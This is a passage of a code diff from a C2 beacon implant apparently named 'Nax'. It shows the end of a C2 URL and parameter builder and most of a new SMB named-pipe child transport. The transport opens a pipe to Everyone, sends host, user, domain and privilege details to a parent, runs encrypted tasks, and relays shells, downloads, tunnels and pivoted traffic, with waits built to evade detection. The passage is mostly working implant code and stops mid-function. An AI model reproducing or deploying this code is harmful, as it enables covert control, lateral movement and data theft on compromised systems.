|
||||
|
||||
UINT32 ui = 0;
|
||||
BOOL is_https = ( boot_uc.nScheme == INTERNET_SCHEME_HTTPS );
|
||||
if ( is_https ) {
|
||||
CHAR s[] = {'h','t','t','p','s',':','/','/'}; for ( UINT32 c = 0; c < 8; c++ ) out[ui++] = (WCHAR)s[c];
|
||||
} else {
|
||||
CHAR s[] = {'h','t','t','p',':','/','/'}; for ( UINT32 c = 0; c < 7; c++ ) out[ui++] = (WCHAR)s[c];
|
||||
}
|
||||
for ( UINT32 c = 0; boot_host[c] && ui < out_cap - 16; c++ ) out[ui++] = boot_host[c];
|
||||
|
||||
/* Only append :port when it differs from the scheme default (80/443).
|
||||
* Omitting the default port produces a clean Host header. */
|
||||
UINT32 port_val = (UINT32)boot_uc.nPort;
|
||||
UINT32 default_port = is_https ? 443 : 80;
|
||||
if ( port_val != default_port ) {
|
||||
out[ui++] = ':';
|
||||
CHAR port_buf[8]; UINT32 pi = 0;
|
||||
if ( port_val == 0 ) { port_buf[pi++] = '0'; } else {
|
||||
CHAR tmp[8]; UINT32 ti = 0;
|
||||
while ( port_val > 0 ) { tmp[ti++] = '0' + (CHAR)(port_val % 10); port_val /= 10; }
|
||||
while ( ti > 0 ) port_buf[pi++] = tmp[--ti];
|
||||
}
|
||||
for ( UINT32 c = 0; c < pi; c++ ) out[ui++] = (WCHAR)port_buf[c];
|
||||
}
|
||||
|
||||
for ( UINT32 c = 0; uri[c] && ui < out_cap - 2; c++ ) out[ui++] = (WCHAR)uri[c];
|
||||
out[ui] = L'\0';
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* ========= [ URL path builder with parameter append ] ========= */
|
||||
|
||||
/* Append ?name=value to a wide path buffer for PARAMETER placement.
|
||||
* Also appends static parameters from GetClientParams.
|
||||
* Returns the final path buffer (caller-supplied path_out). */
|
||||
FUNC VOID NaxBuildPathWithParams( PWCHAR path_src, PWCHAR path_out, UINT32 path_cap, const NAX_OUTPUT_CFG* meta_cfg, const PCHAR meta_encoded, UINT32 meta_encoded_len, const PCHAR param_base, UINT32 param_stride, BYTE param_count ) {
|
||||
UINT32 wi = 0;
|
||||
|
||||
/* Copy base path */
|
||||
while ( path_src[ wi ] && wi < path_cap - 256 ) { path_out[ wi ] = path_src[ wi ]; wi++; }
|
||||
|
||||
BOOL has_qmark = FALSE;
|
||||
/* Check if path already contains '?' */
|
||||
for ( UINT32 c = 0; c < wi; c++ ) {
|
||||
if ( path_out[ c ] == L'?' ) { has_qmark = TRUE; break; }
|
||||
}
|
||||
|
||||
/* Append metadata as parameter if placement == PARAMETER */
|
||||
if ( meta_cfg && meta_encoded && meta_encoded_len > 0 && meta_cfg->Placement == NAX_PLACE_PARAMETER ) {
|
||||
if ( ! has_qmark ) { path_out[ wi++ ] = L'?'; has_qmark = TRUE; }
|
||||
else { path_out[ wi++ ] = L'&'; }
|
||||
wi = NaxAppendAsciiW( meta_cfg->Name, path_out, wi, path_cap );
|
||||
path_out[ wi++ ] = L'=';
|
||||
wi = NaxAppendAsciiW( meta_encoded, path_out, wi, path_cap );
|
||||
}
|
||||
|
||||
/* Append static parameters: each entry is "name=value" */
|
||||
for ( BYTE p = 0; p < param_count; p++ ) {
|
||||
if ( ! has_qmark ) { path_out[ wi++ ] = L'?'; has_qmark = TRUE; }
|
||||
else { path_out[ wi++ ] = L'&'; }
|
||||
wi = NaxAppendAsciiW( param_base + p * param_stride, path_out, wi, path_cap );
|
||||
}
|
||||
|
||||
path_out[ wi ] = L'\0';
|
||||
}
|
||||
@@ -0,0 +1,517 @@
|
||||
/* beacon/src/Transport/Smb.c
|
||||
* Child-side SMB named pipe transport.
|
||||
* Creates a pipe server, waits for parent to connect, then enters an
|
||||
* event-driven loop using WaitForMultipleObjects for sleepmask compat.
|
||||
*
|
||||
* Build with: make NAX_TRANSPORT_PROFILE=1 */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Config.h"
|
||||
#include "Transport.h"
|
||||
#include "Pipe.h"
|
||||
|
||||
/* ========= [ permissive DACL - Everyone RW ] ========= */
|
||||
|
||||
FUNC static BOOL SmbBuildPermissiveDacl( PNAX_INSTANCE Nax, PSECURITY_DESCRIPTOR pSD, PACL* ppAcl ) {
|
||||
if ( ! Nax->Advapi32.InitializeSecurityDescriptor( pSD, SECURITY_DESCRIPTOR_REVISION ) )
|
||||
return FALSE;
|
||||
|
||||
SID_IDENTIFIER_AUTHORITY worldAuth = SECURITY_WORLD_SID_AUTHORITY;
|
||||
PSID pEveryoneSid = NULL;
|
||||
if ( ! Nax->Advapi32.AllocateAndInitializeSid( &worldAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSid ) )
|
||||
return FALSE;
|
||||
|
||||
EXPLICIT_ACCESS_A ea;
|
||||
MmZero( &ea, sizeof( ea ) );
|
||||
ea.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE;
|
||||
ea.grfAccessMode = SET_ACCESS;
|
||||
ea.grfInheritance = NO_INHERITANCE;
|
||||
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
||||
ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
||||
ea.Trustee.ptstrName = (LPSTR)pEveryoneSid;
|
||||
|
||||
if ( Nax->Advapi32.SetEntriesInAclA( 1, &ea, NULL, ppAcl ) != ERROR_SUCCESS ) {
|
||||
Nax->Advapi32.FreeSid( pEveryoneSid );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Nax->Advapi32.FreeSid( pEveryoneSid );
|
||||
|
||||
if ( ! Nax->Advapi32.SetSecurityDescriptorDacl( pSD, TRUE, *ppAcl, FALSE ) )
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* ========= [ SMB transport helpers ] ========= */
|
||||
|
||||
FUNC static BOOL SmbSendResult( PNAX_INSTANCE Nax, UINT32 tid, BYTE status, const PBYTE data, UINT32 data_len, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
UINT32 frame_len = frame_cap;
|
||||
if ( NaxBuildResult( tid, status, data, data_len, frame, &frame_len ) != NAX_OK ) return TRUE;
|
||||
UINT32 env_len = env_cap;
|
||||
if ( NaxEncrypt( Nax, frame, frame_len, env, &env_len ) != NAX_OK ) return TRUE;
|
||||
return NaxPipeWrite( Nax, hPipe, hWriteEvent, env, env_len );
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbRelayPivots( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent, BOOL* pDataRelayed ) {
|
||||
UINT32 piv_len = NaxProcessPivots( Nax, result, result_cap );
|
||||
*pDataRelayed = ( piv_len > 0 );
|
||||
PBYTE piv_cur = result;
|
||||
UINT32 piv_rem = piv_len;
|
||||
while ( piv_rem >= 4 ) {
|
||||
UINT32 entryLen = *(UINT32*)piv_cur;
|
||||
if ( entryLen == 0 || 4 + entryLen > piv_rem ) break;
|
||||
if ( ! SmbSendResult( Nax, 0, NAX_STATUS_OK, piv_cur + 4, entryLen, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
|
||||
return FALSE;
|
||||
piv_cur += 4 + entryLen;
|
||||
piv_rem -= 4 + entryLen;
|
||||
}
|
||||
if ( piv_len > 0 )
|
||||
NaxDbg( Nax, "[pivot] relayed %u bytes of grandchild data", piv_len );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbRelayJobs( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
UINT32 job_len = NaxProcessJobs( Nax, result, result_cap );
|
||||
UINT32 joff = 0;
|
||||
while ( joff + 9 <= job_len ) {
|
||||
BYTE jtype = result[ joff ];
|
||||
UINT32 jtid = NaxR32( result + joff + 1 );
|
||||
UINT32 jdata = NaxR32( result + joff + 5 );
|
||||
if ( joff + 9 + jdata > job_len ) break;
|
||||
if ( ! SmbSendResult( Nax, jtid, jtype, result + joff + 9, jdata, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
|
||||
return FALSE;
|
||||
joff += 9 + jdata;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbRelayShells( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
UINT32 sh_len = NaxProcessShells( Nax, result, result_cap );
|
||||
UINT32 soff = 0;
|
||||
while ( soff + 9 <= sh_len ) {
|
||||
BYTE stype = result[ soff ];
|
||||
UINT32 stid = NaxR32( result + soff + 1 );
|
||||
UINT32 sdata = NaxR32( result + soff + 5 );
|
||||
if ( soff + 9 + sdata > sh_len ) break;
|
||||
if ( ! SmbSendResult( Nax, stid, stype, result + soff + 9, sdata, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
|
||||
return FALSE;
|
||||
soff += 9 + sdata;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbRelayDownloads( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
UINT32 dl_len = NaxProcessDownloads( Nax, result, result_cap );
|
||||
UINT32 doff = 0;
|
||||
while ( doff + 8 <= dl_len ) {
|
||||
UINT32 tid = NaxR32( result + doff );
|
||||
UINT32 dlen = NaxR32( result + doff + 4 );
|
||||
if ( doff + 8 + dlen > dl_len ) break;
|
||||
if ( ! SmbSendResult( Nax, tid, NAX_STATUS_OK, result + doff + 8, dlen, frame, frame_cap, env, env_cap, hPipe, hWriteEvent ) )
|
||||
return FALSE;
|
||||
doff += 8 + dlen;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbTunnelActive( PNAX_INSTANCE Nax ) {
|
||||
NAX_TUNNEL* t = Nax->TunnelHead;
|
||||
while ( t ) {
|
||||
if ( t->Mode == NAX_TUNNEL_MODE_TCP )
|
||||
return TRUE;
|
||||
t = t->Next;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbRelayTunnels( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent, BOOL* pDataRelayed ) {
|
||||
UINT32 tun_len = NaxProcessTunnels( Nax, result, result_cap );
|
||||
*pDataRelayed = ( tun_len > 0 );
|
||||
if ( tun_len == 0 ) return TRUE;
|
||||
return SmbSendResult( Nax, 0, NAX_STATUS_TUNNEL, result, tun_len, frame, frame_cap, env, env_cap, hPipe, hWriteEvent );
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbDoRegister( PNAX_INSTANCE Nax, PNAX_SYSINFO info, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
BYTE reg_body[NAX_REG_BODY_BUF]; UINT32 reg_body_len = NAX_REG_BODY_BUF;
|
||||
if ( NaxBuildRegBody( info->Hostname, info->HnLen, info->Username, info->UnLen, NAX_ARCH_X64, info->Pid, Nax->Config.SleepMs, info->Tid, info->IpStr, info->IpLen, info->Domain, info->DmLen, info->Procname, info->PnLen, Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp, Nax->OemCp, Nax->ImgPath, info->ImLen, reg_body, ®_body_len ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "NaxBuildRegBody failed" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
UINT32 frame_len = frame_cap;
|
||||
if ( NaxFrameEncode( NAX_WIRE_REGISTER, reg_body, reg_body_len, frame_buf, &frame_len ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "NaxFrameEncode REGISTER failed" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
UINT32 env_len = env_cap;
|
||||
if ( NaxEncrypt( Nax, frame_buf, frame_len, env_buf, &env_len ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "NaxEncrypt REGISTER failed" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
UINT32 beatLen = 4 + NAX_SID_LEN - 1 + env_len;
|
||||
PBYTE beatBuf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, beatLen );
|
||||
if ( ! beatBuf ) {
|
||||
NaxDbg( Nax, "heap alloc beat failed" );
|
||||
return FALSE;
|
||||
}
|
||||
*(UINT32*)beatBuf = Nax->Config.ListenerWm;
|
||||
MmCopy( beatBuf + 4, Nax->SessionId, NAX_SID_LEN - 1 );
|
||||
MmCopy( beatBuf + 4 + NAX_SID_LEN - 1, env_buf, env_len );
|
||||
|
||||
BOOL beatOk = NaxPipeWrite( Nax, hPipe, hWriteEvent, beatBuf, beatLen );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, beatBuf );
|
||||
if ( ! beatOk ) {
|
||||
NaxDbg( Nax, "NaxPipeWrite REGISTER failed" );
|
||||
return FALSE;
|
||||
}
|
||||
NaxDbg( Nax, "REGISTER beat sent (%u bytes)", beatLen );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbSendHeartbeat( PNAX_INSTANCE Nax, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
UINT32 frame_len = frame_cap;
|
||||
if ( NaxBuildHeartbeat( frame_buf, &frame_len ) != NAX_OK ) return TRUE;
|
||||
UINT32 env_len = env_cap;
|
||||
if ( NaxEncrypt( Nax, frame_buf, frame_len, env_buf, &env_len ) != NAX_OK ) return TRUE;
|
||||
if ( ! NaxPipeWrite( Nax, hPipe, hWriteEvent, env_buf, env_len ) ) {
|
||||
NaxDbg( Nax, "HEARTBEAT write failed" );
|
||||
return FALSE;
|
||||
}
|
||||
NaxDbg( Nax, "HEARTBEAT sent" );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbHandleParentData( PNAX_INSTANCE Nax, BOOL rdOk, OVERLAPPED* ovRead, DWORD* nRead, UINT32 hdrBuf, HANDLE hPipe, HANDLE hReadEvent, HANDLE hWriteEvent, PBYTE io_buf, UINT32 io_cap, PBYTE plain_buf, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap );
|
||||
|
||||
FUNC static BOOL SmbDispatchTasks( PNAX_INSTANCE Nax, PBYTE plain_buf, UINT32 plain_len, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap, HANDLE hPipe, HANDLE hWriteEvent ) {
|
||||
PBYTE cursor = plain_buf;
|
||||
UINT32 remaining = plain_len;
|
||||
|
||||
while ( remaining >= NAX_FRAME_HDR ) {
|
||||
BYTE ft = 0; PBYTE fb = NULL; UINT32 fbl = 0;
|
||||
if ( NaxFrameDecode( cursor, remaining, &ft, &fb, &fbl ) != NAX_OK ) break;
|
||||
|
||||
UINT32 step = NAX_FRAME_HDR + fbl;
|
||||
if ( step > remaining ) break;
|
||||
cursor += step;
|
||||
remaining -= step;
|
||||
|
||||
if ( ft == NAX_WIRE_NO_TASKS ) break;
|
||||
if ( ft != NAX_WIRE_TASK ) continue;
|
||||
|
||||
NAX_TASK task;
|
||||
if ( NaxDecodeTask( fb, fbl, &task ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "[task] decode FAILED fbl=%u", fbl );
|
||||
continue;
|
||||
}
|
||||
NaxDbg( Nax, "[task] cmd=0x%02x id=0x%08x argsLen=%u", task.CmdId, task.TaskId, task.ArgsLen );
|
||||
|
||||
UINT32 r_tid = 0;
|
||||
BYTE r_stat = 0;
|
||||
UINT32 r_len = result_cap;
|
||||
|
||||
if ( ! NaxDispatch( Nax, &task, &r_tid, &r_stat, result_buf, &r_len ) ) {
|
||||
NaxDbg( Nax, "[task] cmd=0x%02x: no result (exit)", task.CmdId );
|
||||
continue;
|
||||
}
|
||||
|
||||
NaxDbg( Nax, "[task] cmd=0x%02x done: stat=0x%02x r_len=%u", task.CmdId, r_stat, r_len );
|
||||
|
||||
if ( ! SmbSendResult( Nax, r_tid, r_stat, result_buf, r_len, frame_buf, frame_cap, env_buf, env_cap, hPipe, hWriteEvent ) ) {
|
||||
NaxDbg( Nax, "[task] result write failed" );
|
||||
return FALSE;
|
||||
}
|
||||
NaxDbg( Nax, "[task] result sent" );
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
FUNC static BOOL SmbHandleParentData( PNAX_INSTANCE Nax, BOOL rdOk, OVERLAPPED* ovRead, DWORD* nRead, UINT32 hdrBuf, HANDLE hPipe, HANDLE hReadEvent, HANDLE hWriteEvent, PBYTE io_buf, UINT32 io_cap, PBYTE plain_buf, PBYTE result_buf, UINT32 result_cap, PBYTE frame_buf, UINT32 frame_cap, PBYTE env_buf, UINT32 env_cap ) {
|
||||
if ( ! rdOk && ! Nax->Kernel32.GetOverlappedResult( hPipe, ovRead, nRead, TRUE ) ) {
|
||||
NaxDbg( Nax, "GetOverlappedResult header failed" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
UINT32 msgLen = hdrBuf;
|
||||
if ( msgLen == 0 || msgLen > io_cap ) {
|
||||
NaxDbg( Nax, "invalid msg len: %u", msgLen );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! NaxPipeRead( Nax, hPipe, hReadEvent, io_buf, msgLen ) ) {
|
||||
NaxDbg( Nax, "NaxPipeRead body failed" );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
UINT32 plain_len = io_cap;
|
||||
if ( NaxDecrypt( Nax, io_buf, msgLen, plain_buf, &plain_len ) != NAX_OK ) {
|
||||
NaxDbg( Nax, "NaxDecrypt failed" );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return SmbDispatchTasks( Nax, plain_buf, plain_len, result_buf, result_cap, frame_buf, frame_cap, env_buf, env_cap, hPipe, hWriteEvent );
|
||||
}
|
||||
|
||||
/* ========= [ NaxSmbMain - child beacon pipe transport ] ========= */
|
||||
|
||||
FUNC VOID NaxSmbMain( PNAX_INSTANCE Nax ) {
|
||||
/* ---- build pipe path: \\.\pipe\<pipename> ---- */
|
||||
CHAR pipePrefix[] = { '\\', '\\', '.', '\\', 'p', 'i', 'p', 'e', '\\', '\0' };
|
||||
CHAR pipePath[256];
|
||||
MmZero( pipePath, 256 );
|
||||
|
||||
UINT32 pfx_len = 0;
|
||||
while ( pipePrefix[pfx_len] ) pfx_len++;
|
||||
|
||||
UINT32 name_len = 0;
|
||||
while ( Nax->Config.C2Url[name_len] ) name_len++;
|
||||
|
||||
if ( pfx_len + name_len >= 256 ) return;
|
||||
MmCopy( pipePath, pipePrefix, pfx_len );
|
||||
MmCopy( pipePath + pfx_len, Nax->Config.C2Url, name_len );
|
||||
pipePath[pfx_len + name_len] = '\0';
|
||||
|
||||
NaxDbg( Nax, "SMB pipe: %s", pipePath );
|
||||
|
||||
/* ---- build permissive DACL ---- */
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
PACL pAcl = NULL;
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
MmZero( &sd, sizeof( sd ) );
|
||||
MmZero( &sa, sizeof( sa ) );
|
||||
|
||||
if ( ! SmbBuildPermissiveDacl( Nax, &sd, &pAcl ) ) {
|
||||
NaxDbg( Nax, "DACL build failed" );
|
||||
return;
|
||||
}
|
||||
sa.nLength = sizeof( SECURITY_ATTRIBUTES );
|
||||
sa.lpSecurityDescriptor = &sd;
|
||||
sa.bInheritHandle = FALSE;
|
||||
|
||||
/* ---- create named pipe ---- */
|
||||
HANDLE hPipe = Nax->Kernel32.CreateNamedPipeA(
|
||||
pipePath,
|
||||
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1,
|
||||
NAX_PIPE_BUF_SIZE,
|
||||
NAX_PIPE_BUF_SIZE,
|
||||
0,
|
||||
&sa
|
||||
);
|
||||
if ( hPipe == INVALID_HANDLE_VALUE ) {
|
||||
NaxDbg( Nax, "CreateNamedPipeA failed: %u", Nax->Kernel32.GetLastError() );
|
||||
if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl );
|
||||
return;
|
||||
}
|
||||
|
||||
/* ---- create events ---- */
|
||||
HANDLE hConnEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
HANDLE hReadEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
HANDLE hWriteEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
if ( ! hConnEvent || ! hReadEvent || ! hWriteEvent ) {
|
||||
NaxDbg( Nax, "CreateEventA failed" );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl );
|
||||
return;
|
||||
}
|
||||
|
||||
/* ---- heap-allocate I/O buffers ---- */
|
||||
UINT32 IO_CAP = NAX_IO_CAP;
|
||||
UINT32 RESULT_CAP = NAX_IO_CAP;
|
||||
UINT32 FRAME_CAP = RESULT_CAP + 256;
|
||||
|
||||
PBYTE io_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
|
||||
PBYTE plain_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP );
|
||||
PBYTE result_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, RESULT_CAP );
|
||||
PBYTE frame_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
|
||||
PBYTE env_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP );
|
||||
if ( ! io_buf || ! plain_buf || ! result_buf || ! frame_buf || ! env_buf ) {
|
||||
NaxDbg( Nax, "heap alloc failed" );
|
||||
Nax->Kernel32.CloseHandle( hPipe );
|
||||
if ( pAcl ) Nax->Kernel32.GlobalFree( pAcl );
|
||||
return;
|
||||
}
|
||||
|
||||
/* ---- session id ---- */
|
||||
BYTE raw[8];
|
||||
Nax->Bcrypt.BCryptGenRandom( NULL, raw, 8, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
|
||||
NaxHexEncode( raw, 8, Nax->SessionId );
|
||||
NaxDbg( Nax, "session: %s", Nax->SessionId );
|
||||
|
||||
/* ======== outer loop - accept connections ======== */
|
||||
for ( ;; ) {
|
||||
NaxDbg( Nax, "waiting for parent connection..." );
|
||||
|
||||
OVERLAPPED ovConn;
|
||||
MmZero( &ovConn, sizeof( ovConn ) );
|
||||
ovConn.hEvent = hConnEvent;
|
||||
Nax->Kernel32.ResetEvent( hConnEvent );
|
||||
|
||||
BOOL connOk = Nax->Kernel32.ConnectNamedPipe( hPipe, &ovConn );
|
||||
if ( ! connOk ) {
|
||||
DWORD err = Nax->Kernel32.GetLastError();
|
||||
if ( err == ERROR_IO_PENDING ) {
|
||||
DWORD wr = Nax->Kernel32.WaitForSingleObject( hConnEvent, INFINITE );
|
||||
if ( wr != WAIT_OBJECT_0 ) {
|
||||
Nax->Kernel32.CancelIo( hPipe );
|
||||
continue;
|
||||
}
|
||||
} else if ( err != ERROR_PIPE_CONNECTED ) {
|
||||
NaxDbg( Nax, "ConnectNamedPipe failed: %u", err );
|
||||
Nax->Kernel32.Sleep( Nax->Config.SleepMs );
|
||||
continue;
|
||||
}
|
||||
}
|
||||
NaxDbg( Nax, "parent connected" );
|
||||
|
||||
/* gather fresh sysinfo per connection */
|
||||
NAX_SYSINFO info;
|
||||
NaxGatherSysInfo( Nax, &info );
|
||||
|
||||
/* register with parent */
|
||||
if ( ! SmbDoRegister( Nax, &info, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent ) ) {
|
||||
Nax->Kernel32.FlushFileBuffers( hPipe );
|
||||
Nax->Kernel32.DisconnectNamedPipe( hPipe );
|
||||
NaxDbg( Nax, "parent disconnected (register failed), re-entering accept loop" );
|
||||
continue;
|
||||
}
|
||||
|
||||
/* ======== inner loop - task processing ======== */
|
||||
BOOL pipe_ok = TRUE;
|
||||
BOOL justSentOutput = FALSE;
|
||||
UINT32 pivotPollCount = 0;
|
||||
UINT64 lastActivityTick = 0;
|
||||
while ( pipe_ok ) {
|
||||
UINT32 hdrBuf = 0;
|
||||
OVERLAPPED ovRead;
|
||||
MmZero( &ovRead, sizeof( ovRead ) );
|
||||
ovRead.hEvent = hReadEvent;
|
||||
Nax->Kernel32.ResetEvent( hReadEvent );
|
||||
DWORD nRead = 0;
|
||||
BOOL rdOk = Nax->Kernel32.ReadFile( hPipe, &hdrBuf, 4, &nRead, &ovRead );
|
||||
|
||||
if ( ! rdOk && Nax->Kernel32.GetLastError() != ERROR_IO_PENDING ) {
|
||||
NaxDbg( Nax, "ReadFile header failed: %u", Nax->Kernel32.GetLastError() );
|
||||
pipe_ok = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
/* arm pivot child reads */
|
||||
NAX_PIVOT* _pv = Nax->PivotHead;
|
||||
while ( _pv ) {
|
||||
NaxPostPivotHeaderRead( Nax, _pv );
|
||||
_pv = _pv->Next;
|
||||
}
|
||||
|
||||
BOOL hasOutput = justSentOutput
|
||||
|| ( Nax->DownloadHead != NULL )
|
||||
|| ( Nax->JobHead != NULL )
|
||||
|| ( Nax->ShellHead != NULL );
|
||||
justSentOutput = FALSE;
|
||||
|
||||
HANDLE waitHandles[64];
|
||||
DWORD handleCount = 0;
|
||||
waitHandles[handleCount++] = hReadEvent;
|
||||
_pv = Nax->PivotHead;
|
||||
while ( _pv && handleCount < 64 ) {
|
||||
if ( _pv->Async->RdPending )
|
||||
waitHandles[handleCount++] = _pv->Async->OvRead.hEvent;
|
||||
_pv = _pv->Next;
|
||||
}
|
||||
if ( Nax->JobWakeEvent && handleCount < 64 )
|
||||
waitHandles[handleCount++] = Nax->JobWakeEvent;
|
||||
if ( Nax->TunnelEvent && handleCount < 64 )
|
||||
waitHandles[handleCount++] = Nax->TunnelEvent;
|
||||
|
||||
UINT32 sleepMs = NaxEffectiveSleep( Nax );
|
||||
BOOL idleWait = FALSE;
|
||||
DWORD wfmo_timeout;
|
||||
if ( hasOutput ) {
|
||||
wfmo_timeout = 0;
|
||||
} else if ( pivotPollCount > 0 ) {
|
||||
wfmo_timeout = 100;
|
||||
pivotPollCount--;
|
||||
} else if ( SmbTunnelActive( Nax ) ) {
|
||||
wfmo_timeout = 100;
|
||||
idleWait = TRUE;
|
||||
} else if ( lastActivityTick && ( Nax->Kernel32.GetTickCount64() - lastActivityTick ) < 5000 ) {
|
||||
wfmo_timeout = 100;
|
||||
} else {
|
||||
wfmo_timeout = sleepMs ? sleepMs : INFINITE;
|
||||
idleWait = TRUE;
|
||||
}
|
||||
DWORD wait = Nax->Kernel32.WaitForMultipleObjects( handleCount, waitHandles, FALSE, wfmo_timeout );
|
||||
|
||||
if ( wait == WAIT_OBJECT_0 ) {
|
||||
pipe_ok = SmbHandleParentData( Nax, rdOk, &ovRead, &nRead, hdrBuf, hPipe, hReadEvent, hWriteEvent, io_buf, IO_CAP, plain_buf, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP );
|
||||
} else if ( wait == WAIT_TIMEOUT || ( wait > WAIT_OBJECT_0 && wait < WAIT_OBJECT_0 + handleCount ) ) {
|
||||
Nax->Kernel32.CancelIo( hPipe );
|
||||
DWORD nHdr = 0;
|
||||
if ( Nax->Kernel32.GetOverlappedResult( hPipe, &ovRead, &nHdr, TRUE ) && nHdr == 4 && hdrBuf > 0 )
|
||||
pipe_ok = SmbHandleParentData( Nax, TRUE, &ovRead, &nHdr, hdrBuf, hPipe, hReadEvent, hWriteEvent, io_buf, IO_CAP, plain_buf, result_buf, RESULT_CAP, frame_buf, FRAME_CAP, env_buf, FRAME_CAP );
|
||||
else if ( wait == WAIT_TIMEOUT && idleWait )
|
||||
pipe_ok = SmbSendHeartbeat( Nax, frame_buf, FRAME_CAP, env_buf, FRAME_CAP, hPipe, hWriteEvent );
|
||||
} else {
|
||||
NaxDbg( Nax, "WaitForMultipleObjects unexpected: %u", wait );
|
||||
pipe_ok = FALSE;
|
||||
}
|
||||
|
||||
if ( ! pipe_ok ) break;
|
||||
|
||||
/* Snapshot DataSent BEFORE SmbRelayPivots → NaxProcessPivots
|
||||
* clears it. Without this, CmdPivotExec's flag is consumed
|
||||
* inside NaxProcessPivots and the fast-poll path never fires,
|
||||
* causing a full sleepMs delay before child results are read. */
|
||||
BOOL anyPivotDataSent = FALSE;
|
||||
_pv = Nax->PivotHead;
|
||||
while ( _pv ) {
|
||||
if ( _pv->Async->DataSent )
|
||||
anyPivotDataSent = TRUE;
|
||||
_pv = _pv->Next;
|
||||
}
|
||||
|
||||
BOOL dataRelayed = FALSE;
|
||||
if ( Nax->PivotHead )
|
||||
